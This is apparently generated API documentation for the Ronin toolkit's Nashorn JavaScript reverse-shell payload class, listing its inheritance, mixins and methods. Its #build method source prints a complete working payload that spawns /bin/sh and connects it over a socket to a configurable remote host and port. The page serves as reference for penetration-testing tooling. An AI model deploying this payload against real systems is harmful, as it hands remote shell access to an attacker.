Class: Ronin::Payloads::JS::Nashorn::ReverseShell
- Inherits:
-
NashornPayload
- Object
- Payload
- Ronin::Payloads::JavaScriptPayload
- NashornPayload
- Ronin::Payloads::JS::Nashorn::ReverseShell
- Includes:
- Mixins::ReverseShell
- Defined in:
- lib/ronin/payloads/builtin/js/nashorn/reverse_shell.rb
Overview
A basic Nashorn JavaScript reverse shell.
Instance Attribute Summary
Attributes included from Mixins::PostEx
Attributes inherited from Payload
Instance Method Summary collapse
-
#build ⇒ Object
Builds the [Nashorn] JavaScript reverse shell payload.
Methods included from Mixins::ReverseShell
#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port
Methods included from Mixins::PostEx
Methods inherited from NashornPayload
Methods inherited from Ronin::Payloads::JavaScriptPayload
Methods inherited from Payload
#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate
Constructor Details
This class inherits a constructor from Ronin::Payloads::Payload
Instance Method Details
#build ⇒ Object
Builds the Nashorn JavaScript reverse shell payload.
55 56 57 |
# File 'lib/ronin/payloads/builtin/js/nashorn/reverse_shell.rb', line 55 def build @payload = %{var p=new java.lang.ProcessBuilder("/bin/sh").redirectErrorStream(true).start();var s=new java.net.Socket(#{host.dump},#{port});var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();} end |